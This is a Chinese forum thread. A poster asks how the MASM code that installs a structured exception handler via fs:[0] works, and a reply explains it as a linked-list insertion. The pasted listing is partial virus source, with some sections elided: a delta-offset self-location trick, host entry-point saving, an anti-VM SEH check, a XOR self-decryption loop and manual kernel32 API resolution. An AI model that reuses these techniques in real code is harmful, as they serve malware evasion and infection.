以下,是小弟对fs异常的理解,不懂或不对的地方,请指点,谢谢
ASSUME FS:NOTHING
lea eax,SEH1[ebp] <-----我的理解,这里调用异常处理函数
push eax <-----我的理解压栈,难道是作为其他函数参数?我不知道他的目的,请指教
push fs:[0] <----打开FS寄存器
mov fs:[0],esp <----将当前程序跑的位置放到 fs:[0]中
mov esi,0 <---不知道要干什么,怎么突然来了个esi,我的理解是把seh的错误符号设置为0?
mov eax,[esi];make a error for SEH
ExecuteHere:
pop fs:[0]
add esp,4
以下是详细代码
----------------------code----
include d:\masm32\include\gdi32.inc
include d:\masm32\include\comdlg32.inc
includelib d:\masm32\lib\gdi32.lib
includelib d:\masm32\lib\kernel32.lib
includelib d:\masm32\lib\comctl32.lib
includelib d:\masm32\lib\user32.lib
includelib d:\masm32\lib\comdlg32.lib
GetKernelBase proto :DWORD
GetApiAddress proto :DWORD, :DWORD
.data
mcaption db "Hello!This Programe just show the usage of the API:MessageBox",0
mtitle db "Title",0
.code
host_start:
invoke MessageBoxA,NULL,offset mcaption,offset mtitle,MB_OK
;--------------------------------------
;ok,Action!
;----------------------------------------
vstart:
; invoke MessageBoxA,NULL,offset mcaption,offset mtitle,MB_OK
;push ebp
;push esp
xor ebx,ebx
mov ebx,[esp]
call nstart
nstart:
pop ebp
sub ebp,offset nstart;classical way to get the address of the virus-self!
;---------------------------------------
;save the Entrypoint!!!!!!!!!!!!!!!!!!!
;---------------------------------------
cmp now[ebp],0
jnz gonext
mov Old_ImageBase[ebp],0h
lea eax,vend[ebp]
mov Old_AddressOfEntryPoint[ebp],eax
gonext:
mov eax,Old_ImageBase[ebp]
push eax
mov eax,Old_AddressOfEntryPoint[ebp]
push eax
;;;;;;;;;;;;;;;;;anti-vm;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ASSUME FS:NOTHING
lea eax,SEH1[ebp]
push eax
push fs:[0]
mov fs:[0],esp
mov esi,0
mov eax,[esi];make a error for SEH
ExecuteHere:
pop fs:[0]
add esp,4
;;;;;;;;;;;;;;;anti-vmEND;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
cmp now[ebp],0
jz EncryptStart
lea edi , EncryptStart[ebp]
mov ecx , EncryptEnd - EncryptStart
DecryptLoop:
xor byte ptr [edi] , 27h
inc edi
loop DecryptLoop
EncryptStart:
;;;;;;;;;;;;;;;;;;;ok,GetApI
push ebx
call GetKernelBase
mov Kernel32Base[ebp], eax
lea eax,szExitProcess[ebp]
push eax
push Kernel32Base[ebp]
call GetApiAddress
mov ExitProcess_addr[ebp], eax
。。。。。。。。。。。。。。
。。。。。。。。。。
SEH1 proc uses ebx pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
mov eax,pContext
Assume eax:ptr CONTEXT
mov [eax].regEcx,20
lea ebx, ExecuteHere
mov [eax].regEip,ebx
mov eax,0 ;//ExceptionContinueExecution,
ret
SEH1 endp
。。。。。。。。。。。。
。。。。。。。
------解决方案--------------------------------------------------------
这个东西的原理和链表的原理是类似的
你用链表的节点插入来理解的话就好多了。
- Assembly code
lea eax,SEH1[ebp] ;自己的异常处理函数地址push eax ;把该异常处理函数地址压栈push fs:[0] ;fs:[0]指向的是TIB[Thread information Block]结构中的 ;EXCEPTION_REGISTRATION 结构mov fs:[0],esp ;让fs:[0]指向一个新的EXCEPTION_REGISTRATION 结构(就像链表插入一个新节点)mov esi,0 ;这两行指令就是用来处罚这个异常处理函数被调用的代码mov eax,[esi];make a error for SEH